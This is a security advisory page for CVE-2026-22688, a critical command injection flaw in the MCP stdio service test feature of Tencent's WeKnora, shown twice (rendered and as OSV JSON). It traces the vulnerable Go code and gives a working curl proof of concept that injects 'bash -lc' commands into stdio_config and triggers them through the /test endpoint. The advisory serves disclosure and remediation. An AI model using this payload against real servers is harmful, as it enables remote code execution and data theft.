CVE-2026-22688: Github.com/Tencent/WeKnora WeKnora Has Command Injection in MCP Stdio test Vulnerability

CRITICAL
Advisory Identifier: GHSA-78h3-63c4-5fqc
CVSS 9.9
CWE-77
Published
Advisory Summary

CVE-2026-22688 is a CRITICAL (CVSS 9.9) weknora has command injection in mcp stdio test vulnerability (CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')) affecting Github.com/Tencent/WeKnora libraries in the Go ecosystem. The issue involves weknora has command injection in mcp stdio test. Remediation is available by upgrading affected packages to version 0.2.5.

CVE-2026-22688 at a Glance

CVE Identifier CVE-2026-22688
GHSA Identifier GHSA-78h3-63c4-5fqc
Severity CRITICAL
CVSS v3.1 Base Score 9.9
CWE Classification CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
Affected Product Github.com/Tencent/WeKnora
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-22688

To remediate this vulnerability, upgrade all affected Github.com/Tencent/WeKnora dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/Tencent/WeKnora fixed: 0.2.5
Upgrade github.com/Tencent/WeKnora to 0.2.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/Tencent/WeKnora

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-22688, inspect your project dependencies for Github.com/Tencent/WeKnora:

inspect dependencies for github.com/Tencent/WeKnora

Analyze the terminal output to locate any version of Github.com/Tencent/WeKnora in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.2.5), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection'), where the product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. In Github.com/Tencent/WeKnora, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Vulnerability **Description** --- **Vulnerability Overview** This issue is a command injection vulnerability (CWE-78) that allows authenticated users to inject stdio_config.command/args into MCP stdio settings, causing the server to execute subprocesses using these injected values. The root causes are as follows: - **Missing Security Filtering**: When transport_type=stdio, there is no validation on stdio_config.command/args, such as allowlisting, enforcing fixed paths/binaries, or blocking dangerous options. - **Functional Flaw (Trust Boundary Violation)**: The command/args stored as "service configuration data" are directly used in the /test execution flow and connected to execution sinks without validation. - **Lack of Authorization Control**: This functionality effectively allows "process execution on the server" (an administrative operation), yet no administrator-only permission checks are implemented in the code (accessible with Bearer authentication only). **Vulnerable Code** 1. **API Route Registration** (path where endpoints are created) ****https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/router/router.go#L85-L110 https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/router/router.go#L371-L390 ```go // 认证中间件 r.Use(middleware.Auth(params.TenantService, params.UserService, params.Config)) // 添加OpenTelemetry追踪中间件 r.Use(middleware.TracingMiddleware()) // 需要认证的API路由 v1 := r.Group("/api/v1") { RegisterAuthRoutes(v1, params.AuthHandler) RegisterTenantRoutes(v1, params.TenantHandler) RegisterKnowledgeBaseRoutes(v1, params.KBHandler) RegisterKnowledgeTagRoutes(v1, params.TagHandler) RegisterKnowledgeRoutes(v1, params.KnowledgeHandler) RegisterFAQRoutes(v1, params.FAQHandler) RegisterChunkRoutes(v1, params.ChunkHandler) RegisterSessionRoutes(v1, params.SessionHandler) RegisterChatRoutes(v1, params.SessionHandler) RegisterMessageRoutes(v1, params.MessageHandler) RegisterModelRoutes(v1, params.ModelHandler) RegisterEvaluationRoutes(v1, params.EvaluationHandler) RegisterInitializationRoutes(v1, params.InitializationHandler) RegisterSystemRoutes(v1, params.SystemHandler) RegisterMCPServiceRoutes(v1, params.MCPServiceHandler) RegisterWebSearchRoutes(v1, params.WebSearchHandler) } ``` ```go func RegisterMCPServiceRoutes(r *gin.RouterGroup, handler *handler.MCPServiceHandler) { mcpServices := r.Group("/mcp-services") { // Create MCP service mcpServices.POST("", handler.CreateMCPService) // List MCP services mcpServices.GET("", handler.ListMCPServices) // Get MCP service by ID mcpServices.GET("/:id", handler.GetMCPService) // Update MCP service mcpServices.PUT("/:id", handler.UpdateMCPService) // Delete MCP service mcpServices.DELETE("/:id", handler.DeleteMCPService) // Test MCP service connection mcpServices.POST("/:id/test", handler.TestMCPService) // Get MCP service tools mcpServices.GET("/:id/tools", handler.GetMCPServiceTools) // Get MCP service resources mcpServices.GET("/:id/resources", handler.GetMCPServiceResources) } ``` 2. **User input (JSON) → types.MCPService binding** (POST /api/v1/mcp-services) ****https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/handler/mcp_service.go#L40-L55 ```go var service types.MCPService if err := c.ShouldBindJSON(&service); err != nil { logger.Error(ctx, "Failed to parse MCP service request", err) c.Error(errors.NewBadRequestError(err.Error())) return } tenantID := c.GetUint64(types.TenantIDContextKey.String()) if tenantID == 0 { logger.Error(ctx, "Tenant ID is empty") c.Error(errors.NewBadRequestError("Tenant ID cannot be empty")) return } service.TenantID = tenantID if err := h.mcpServiceService.CreateMCPService(ctx, &service); err != nil { ``` 3. **Taint propagation (storage)**: The bound service object is stored directly in the database without sanitization. ****https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/application/repository/mcp_service.go#L23-L25 ```go func (r *mcpServiceRepository) Create(ctx context.Context, service *types.MCPService) error { return r.db.WithContext(ctx).Create(service).Error } ``` 4. **Sink execution**: /test endpoint loads the service from the database → executes TestMCPService https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/handler/mcp_service.go#L323-L325 https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/application/service/mcp_service.go#L238-L264 ```go logger.Infof(ctx, "Testing MCP service: %s", secutils.SanitizeForLog(serviceID)) result, err := h.mcpServiceService.TestMCPService(ctx, tenantID, serviceID) ``` ```go service, err := s.mcpServiceRepo.GetByID(ctx, tenantID, id) if err != nil { return nil, fmt.Errorf("failed to get MCP service: %w", err) } if service == nil { return nil, fmt.Errorf("MCP service not found") } // Create temporary client for testing config := &mcp.ClientConfig{ Service: service, } client, err := mcp.NewMCPClient(config) if err != nil { return &types.MCPTestResult{ Success: false, Message: fmt.Sprintf("Failed to create client: %v", err), }, nil } // Connect testCtx, cancel := context.WithTimeout(ctx, 30*time.Second) defer cancel() if err := client.Connect(testCtx); err != nil { return &types.MCPTestResult{ ``` 5. **Ultimate sink (subprocess execution)**: The command/args values from stdio configuration are directly used in the subprocess execution path. ****https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/mcp/client.go#L120-L137 https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/mcp/client.go#L158-L160 ```go case types.MCPTransportStdio: if config.Service.StdioConfig == nil { return nil, fmt.Errorf("stdio_config is required for stdio transport") } // Convert env vars map to []string format (KEY=value) envVars := make([]string, 0, len(config.Service.EnvVars)) for key, value := range config.Service.EnvVars { envVars = append(envVars, fmt.Sprintf("%s=%s", key, value)) } // Create stdio client with options // NewStdioMCPClientWithOptions(command string, env []string, args []string, opts ...transport.StdioOption) mcpClient, err = client.NewStdioMCPClientWithOptions( config.Service.StdioConfig.Command, envVars, config.Service.StdioConfig.Args, ) ``` ```go if err := c.client.Start(ctx); err != nil { return fmt.Errorf("failed to start client: %w", err) } ``` ### PoC --- **PoC Description** - Obtain an authentication token. - Create an MCP service with transport_type=stdio, injecting the command to execute into stdio_config.command/args. - Call the /test endpoint to trigger the Connect() → Start() execution flow, confirming command execution on the server via side effects (e.g., file creation). **PoC** - **Container state verification (pre-exploitation)** ```bash docker exec -it WeKnora-app /bin/bash cd /tmp/; ls -l ``` <img width="798" height="78" alt="image" src="https://github.com/user-attachments/assets/3e387e39-cd80-4e30-ba23-3db9ff879209" /> - **Authenticate via /api/v1/auth/login to obtain a Bearer token for API calls.** ```bash API="http://localhost:8080" EMAIL="admin@gmail.com" PASS="admin123" TOKEN="$(curl -sS -X POST "$API/api/v1/auth/login" \ -H "Content-Type: application/json" \ -d "{\"email\":\"$EMAIL\",\"password\":\"$PASS\"}" | jq -r '.token // empty')" echo "TOKEN=$TOKEN" ``` <img width="760" height="73" alt="image" src="https://github.com/user-attachments/assets/4e588f20-9371-4dc3-b585-def2cd752497" /> <img width="1679" height="193" alt="image" src="https://github.com/user-attachments/assets/a372981c-dc4c-40e9-a9af-4d27fd36251a" /> - **POST to /api/v1/mcp-services with transport_type=stdio and stdio_config to define the command and arguments to be executed on the server.** ```bash CREATE_RES="$(curl -sS -X POST "$API/api/v1/mcp-services" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "name":"rce", "description":"rce", "enabled":true, "transport_type":"stdio", "stdio_config":{"command":"bash","args":["-lc","id > /tmp/RCE_ok.txt && uname -a >> /tmp/RCE_ok.txt"]}, "env_vars":{} }')" MCP_ID="$(echo "$CREATE_RES" | jq -r '.data.id // empty')" echo "MCP_ID=$MCP_ID" ``` <img width="1296" height="354" alt="image" src="https://github.com/user-attachments/assets/d109dd4e-d051-46e3-bdcc-4d1a181d1635" /> - **Invoke /api/v1/mcp-services/{id}/test to trigger Connect(), causing execution of the stdio subprocess.** ```bash curl -sS -X POST "$API/api/v1/mcp-services/$MCP_ID/test" \ -H "Authorization: Bearer $TOKEN" | jq . ``` <img width="1270" height="217" alt="image" src="https://github.com/user-attachments/assets/2723ef39-f6b8-4478-b60e-5b6a4e667a1e" /> - **Post-exploitation verification (container state)** ```bash ls -l ``` <img width="1243" height="221" alt="image" src="https://github.com/user-attachments/assets/5f78f83a-64e2-4a0a-95c4-6832f606fbcd" /> ### Impact --- - **Remote Code Execution (RCE)**: Arbitrary command execution enables file creation/modification, execution of additional payloads, and service disruption - **Information Disclosure**: Sensitive data exfiltration through reading environment variables, configuration files, keys, tokens, and local files - **Privilege Escalation/Lateral Movement (Environment-Dependent)**: Impact may escalate based on container mounts, network policies, and internal service access permissions - **Cross-Tenant Boundary Impact**: Execution occurs in a shared backend runtime; depending on deployment configuration, impact may extend beyond tenant boundaries (**exact scope is uncertain** and varies by deployment setup)

CVE-2026-22688 Affected Github.com/Tencent/WeKnora Versions

1 component(s)
Fixed Versions:
0.2.5
Product / Package Ecosystem Affected Versions Fixed Version
github.com/Tencent/WeKnora
Go
< 0.2.5
0.2.5

References

Frequently Asked Questions

What is CVE-2026-22688?
CVE-2026-22688 is a security vulnerability in Github.com/Tencent/WeKnora involving WeKnora has Command Injection in MCP stdio test under CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection').
Which Github.com/Tencent/WeKnora versions are affected?
Affected versions include releases prior to 0.2.5 across affected packages: github.com/Tencent/WeKnora.
What version fixes CVE-2026-22688?
Upgrading to 0.2.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/Tencent/WeKnora affected?
Yes, github.com/Tencent/WeKnora is affected in releases prior to 0.2.5. Upgrade your dependency to 0.2.5 or later.
What is the CVSS score of CVE-2026-22688?
CVE-2026-22688 has a CVSS v3.1 base score of 9.9 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-22688?
CVE-2026-22688 is classified under CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.).
How can I check Go dependencies for CVE-2026-22688?
Run the dependency tree command: 'inspect dependencies for github.com/Tencent/WeKnora'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-78h3-63c4-5fqc",
  "modified" : "2026-01-22T16:29:34Z",
  "published" : "2026-01-09T19:21:22Z",
  "aliases" : [ "CVE-2026-22688" ],
  "summary" : "WeKnora has Command Injection in MCP stdio test",
  "details" : "### Vulnerability **Description**\n\n---\n\n**Vulnerability Overview**\n\n\nThis issue is a command injection vulnerability (CWE-78) that allows authenticated users to inject stdio_config.command/args into MCP stdio settings, causing the server to execute subprocesses using these injected values.\n\nThe root causes are as follows:\n\n- **Missing Security Filtering**: When transport_type=stdio, there is no validation on stdio_config.command/args, such as allowlisting, enforcing fixed paths/binaries, or blocking dangerous options.\n- **Functional Flaw (Trust Boundary Violation)**: The command/args stored as \"service configuration data\" are directly used in the /test execution flow and connected to execution sinks without validation.\n- **Lack of Authorization Control**: This functionality effectively allows \"process execution on the server\" (an administrative operation), yet no administrator-only permission checks are implemented in the code (accessible with Bearer authentication only).\n\n**Vulnerable Code**\n\n1. **API Route Registration** (path where endpoints are created)\n****https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/router/router.go#L85-L110\nhttps://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/router/router.go#L371-L390\n    \n    ```go\n     // 认证中间件\n    \tr.Use(middleware.Auth(params.TenantService, params.UserService, params.Config))\n    \n    \t// 添加OpenTelemetry追踪中间件\n    \tr.Use(middleware.TracingMiddleware())\n    \n    \t// 需要认证的API路由\n    \tv1 := r.Group(\"/api/v1\")\n    \t{\n    \t\tRegisterAuthRoutes(v1, params.AuthHandler)\n    \t\tRegisterTenantRoutes(v1, params.TenantHandler)\n    \t\tRegisterKnowledgeBaseRoutes(v1, params.KBHandler)\n    \t\tRegisterKnowledgeTagRoutes(v1, params.TagHandler)\n    \t\tRegisterKnowledgeRoutes(v1, params.KnowledgeHandler)\n    \t\tRegisterFAQRoutes(v1, params.FAQHandler)\n    \t\tRegisterChunkRoutes(v1, params.ChunkHandler)\n    \t\tRegisterSessionRoutes(v1, params.SessionHandler)\n    \t\tRegisterChatRoutes(v1, params.SessionHandler)\n    \t\tRegisterMessageRoutes(v1, params.MessageHandler)\n    \t\tRegisterModelRoutes(v1, params.ModelHandler)\n    \t\tRegisterEvaluationRoutes(v1, params.EvaluationHandler)\n    \t\tRegisterInitializationRoutes(v1, params.InitializationHandler)\n    \t\tRegisterSystemRoutes(v1, params.SystemHandler)\n    \t\tRegisterMCPServiceRoutes(v1, params.MCPServiceHandler)\n    \t\tRegisterWebSearchRoutes(v1, params.WebSearchHandler)\n    \t}\n    ```\n    \n    ```go\n    func RegisterMCPServiceRoutes(r *gin.RouterGroup, handler *handler.MCPServiceHandler) {\n    \tmcpServices := r.Group(\"/mcp-services\")\n    \t{\n    \t\t// Create MCP service\n    \t\tmcpServices.POST(\"\", handler.CreateMCPService)\n    \t\t// List MCP services\n    \t\tmcpServices.GET(\"\", handler.ListMCPServices)\n    \t\t// Get MCP service by ID\n    \t\tmcpServices.GET(\"/:id\", handler.GetMCPService)\n    \t\t// Update MCP service\n    \t\tmcpServices.PUT(\"/:id\", handler.UpdateMCPService)\n    \t\t// Delete MCP service\n    \t\tmcpServices.DELETE(\"/:id\", handler.DeleteMCPService)\n    \t\t// Test MCP service connection\n    \t\tmcpServices.POST(\"/:id/test\", handler.TestMCPService)\n    \t\t// Get MCP service tools\n    \t\tmcpServices.GET(\"/:id/tools\", handler.GetMCPServiceTools)\n    \t\t// Get MCP service resources\n    \t\tmcpServices.GET(\"/:id/resources\", handler.GetMCPServiceResources)\n    \t}\n    ```\n    \n2. **User input (JSON) → types.MCPService binding** (POST /api/v1/mcp-services)\n****https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/handler/mcp_service.go#L40-L55\n    \n    ```go\n    \tvar service types.MCPService\n    \tif err := c.ShouldBindJSON(&service); err != nil {\n    \t\tlogger.Error(ctx, \"Failed to parse MCP service request\", err)\n    \t\tc.Error(errors.NewBadRequestError(err.Error()))\n    \t\treturn\n    \t}\n    \n    \ttenantID := c.GetUint64(types.TenantIDContextKey.String())\n    \tif tenantID == 0 {\n    \t\tlogger.Error(ctx, \"Tenant ID is empty\")\n    \t\tc.Error(errors.NewBadRequestError(\"Tenant ID cannot be empty\"))\n    \t\treturn\n    \t}\n    \tservice.TenantID = tenantID\n    \n    \tif err := h.mcpServiceService.CreateMCPService(ctx, &service); err != nil {\n    ```\n    \n3. **Taint propagation (storage)**: The bound service object is stored directly in the database without sanitization.\n****https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/application/repository/mcp_service.go#L23-L25\n    \n    ```go\n    func (r *mcpServiceRepository) Create(ctx context.Context, service *types.MCPService) error {\n    \treturn r.db.WithContext(ctx).Create(service).Error\n    }\n    ```\n    \n4. **Sink execution**: /test endpoint loads the service from the database → executes TestMCPService\n    \n    https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/handler/mcp_service.go#L323-L325\n    https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/application/service/mcp_service.go#L238-L264\n    \n    ```go\n    \tlogger.Infof(ctx, \"Testing MCP service: %s\", secutils.SanitizeForLog(serviceID))\n    \n    \tresult, err := h.mcpServiceService.TestMCPService(ctx, tenantID, serviceID)\n    ```\n    \n    ```go\n    \tservice, err := s.mcpServiceRepo.GetByID(ctx, tenantID, id)\n    \tif err != nil {\n    \t\treturn nil, fmt.Errorf(\"failed to get MCP service: %w\", err)\n    \t}\n    \tif service == nil {\n    \t\treturn nil, fmt.Errorf(\"MCP service not found\")\n    \t}\n    \n    \t// Create temporary client for testing\n    \tconfig := &mcp.ClientConfig{\n    \t\tService: service,\n    \t}\n    \n    \tclient, err := mcp.NewMCPClient(config)\n    \tif err != nil {\n    \t\treturn &types.MCPTestResult{\n    \t\t\tSuccess: false,\n    \t\t\tMessage: fmt.Sprintf(\"Failed to create client: %v\", err),\n    \t\t}, nil\n    \t}\n    \n    \t// Connect\n    \ttestCtx, cancel := context.WithTimeout(ctx, 30*time.Second)\n    \tdefer cancel()\n    \n    \tif err := client.Connect(testCtx); err != nil {\n    \t\treturn &types.MCPTestResult{\n    ```\n    \n5. **Ultimate sink (subprocess execution)**: The command/args values from stdio configuration are directly used in the subprocess execution path.\n****https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/mcp/client.go#L120-L137\nhttps://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/mcp/client.go#L158-L160\n    \n    ```go\n    \tcase types.MCPTransportStdio:\n    \t\tif config.Service.StdioConfig == nil {\n    \t\t\treturn nil, fmt.Errorf(\"stdio_config is required for stdio transport\")\n    \t\t}\n    \n    \t\t// Convert env vars map to []string format (KEY=value)\n    \t\tenvVars := make([]string, 0, len(config.Service.EnvVars))\n    \t\tfor key, value := range config.Service.EnvVars {\n    \t\t\tenvVars = append(envVars, fmt.Sprintf(\"%s=%s\", key, value))\n    \t\t}\n    \n    \t\t// Create stdio client with options\n    \t\t// NewStdioMCPClientWithOptions(command string, env []string, args []string, opts ...transport.StdioOption)\n    \t\tmcpClient, err = client.NewStdioMCPClientWithOptions(\n    \t\t\tconfig.Service.StdioConfig.Command,\n    \t\t\tenvVars,\n    \t\t\tconfig.Service.StdioConfig.Args,\n    \t\t)\n    ```\n    \n    ```go\n    \tif err := c.client.Start(ctx); err != nil {\n    \t\treturn fmt.Errorf(\"failed to start client: %w\", err)\n    \t}\n    ```\n    \n\n### PoC\n\n---\n\n**PoC Description**\n \n- Obtain an authentication token.\n- Create an MCP service with transport_type=stdio, injecting the command to execute into stdio_config.command/args.\n- Call the /test endpoint to trigger the Connect() → Start() execution flow, confirming command execution on the server via side effects (e.g., file creation).\n\n**PoC**\n \n- **Container state verification (pre-exploitation)**\n    \n    ```bash\n    docker exec -it WeKnora-app /bin/bash\n    cd /tmp/; ls -l\n    ```\n    \n    <img width=\"798\" height=\"78\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3e387e39-cd80-4e30-ba23-3db9ff879209\" />\n    \n- **Authenticate via /api/v1/auth/login to obtain a Bearer token for API calls.**\n    \n    ```bash\n    API=\"http://localhost:8080\"\n    EMAIL=\"admin@gmail.com\"\n    PASS=\"admin123\"\n    \n    TOKEN=\"$(curl -sS -X POST \"$API/api/v1/auth/login\" \\\n      -H \"Content-Type: application/json\" \\\n      -d \"{\\\"email\\\":\\\"$EMAIL\\\",\\\"password\\\":\\\"$PASS\\\"}\" | jq -r '.token // empty')\"\n      \n    echo \"TOKEN=$TOKEN\"\n    ```\n    \n    <img width=\"760\" height=\"73\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4e588f20-9371-4dc3-b585-def2cd752497\" />\n    \n    <img width=\"1679\" height=\"193\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a372981c-dc4c-40e9-a9af-4d27fd36251a\" />\n    \n- **POST to /api/v1/mcp-services with transport_type=stdio and stdio_config to define the command and arguments to be executed on the server.**\n    \n    ```bash\n    CREATE_RES=\"$(curl -sS -X POST \"$API/api/v1/mcp-services\" \\\n      -H \"Authorization: Bearer $TOKEN\" \\\n      -H \"Content-Type: application/json\" \\\n      -d '{\n        \"name\":\"rce\",\n        \"description\":\"rce\",\n        \"enabled\":true,\n        \"transport_type\":\"stdio\",\n        \"stdio_config\":{\"command\":\"bash\",\"args\":[\"-lc\",\"id > /tmp/RCE_ok.txt && uname -a >> /tmp/RCE_ok.txt\"]},\n        \"env_vars\":{}\n      }')\"\n      \n    MCP_ID=\"$(echo \"$CREATE_RES\" | jq -r '.data.id // empty')\"\n    echo \"MCP_ID=$MCP_ID\"\n    ```\n    \n    <img width=\"1296\" height=\"354\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d109dd4e-d051-46e3-bdcc-4d1a181d1635\" />\n    \n- **Invoke /api/v1/mcp-services/{id}/test to trigger Connect(), causing execution of the stdio subprocess.**\n    \n    ```bash\n    curl -sS -X POST \"$API/api/v1/mcp-services/$MCP_ID/test\" \\\n      -H \"Authorization: Bearer $TOKEN\" | jq .\n    ```\n    \n    <img width=\"1270\" height=\"217\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2723ef39-f6b8-4478-b60e-5b6a4e667a1e\" />\n    \n- **Post-exploitation verification (container state)**\n    \n    ```bash\n    ls -l\n    ```\n    \n    <img width=\"1243\" height=\"221\" alt=\"image\" src=\"https://github.com/user-attachments/assets/5f78f83a-64e2-4a0a-95c4-6832f606fbcd\" />\n    \n\n### Impact\n\n---\n\n- **Remote Code Execution (RCE)**: Arbitrary command execution enables file creation/modification, execution of additional payloads, and service disruption\n- **Information Disclosure**: Sensitive data exfiltration through reading environment variables, configuration files, keys, tokens, and local files\n- **Privilege Escalation/Lateral Movement (Environment-Dependent)**: Impact may escalate based on container mounts, network policies, and internal service access permissions\n- **Cross-Tenant Boundary Impact**: Execution occurs in a shared backend runtime; depending on deployment configuration, impact may extend beyond tenant boundaries (**exact scope is uncertain** and varies by deployment setup)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/Tencent/WeKnora"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.2.5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Tencent/WeKnora/security/advisories/GHSA-78h3-63c4-5fqc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-22688"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Tencent/WeKnora/commit/f7900a5e9a18c99d25cec9589ead9e4e59ce04bb"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Tencent/WeKnora"
  }, {
    "type" : "WEB",
    "url" : "https://pkg.go.dev/vuln/GO-2026-4292"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-77" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-09T19:21:22Z",
    "nvd_published_at" : "2026-01-10T04:16:01Z"
  }
}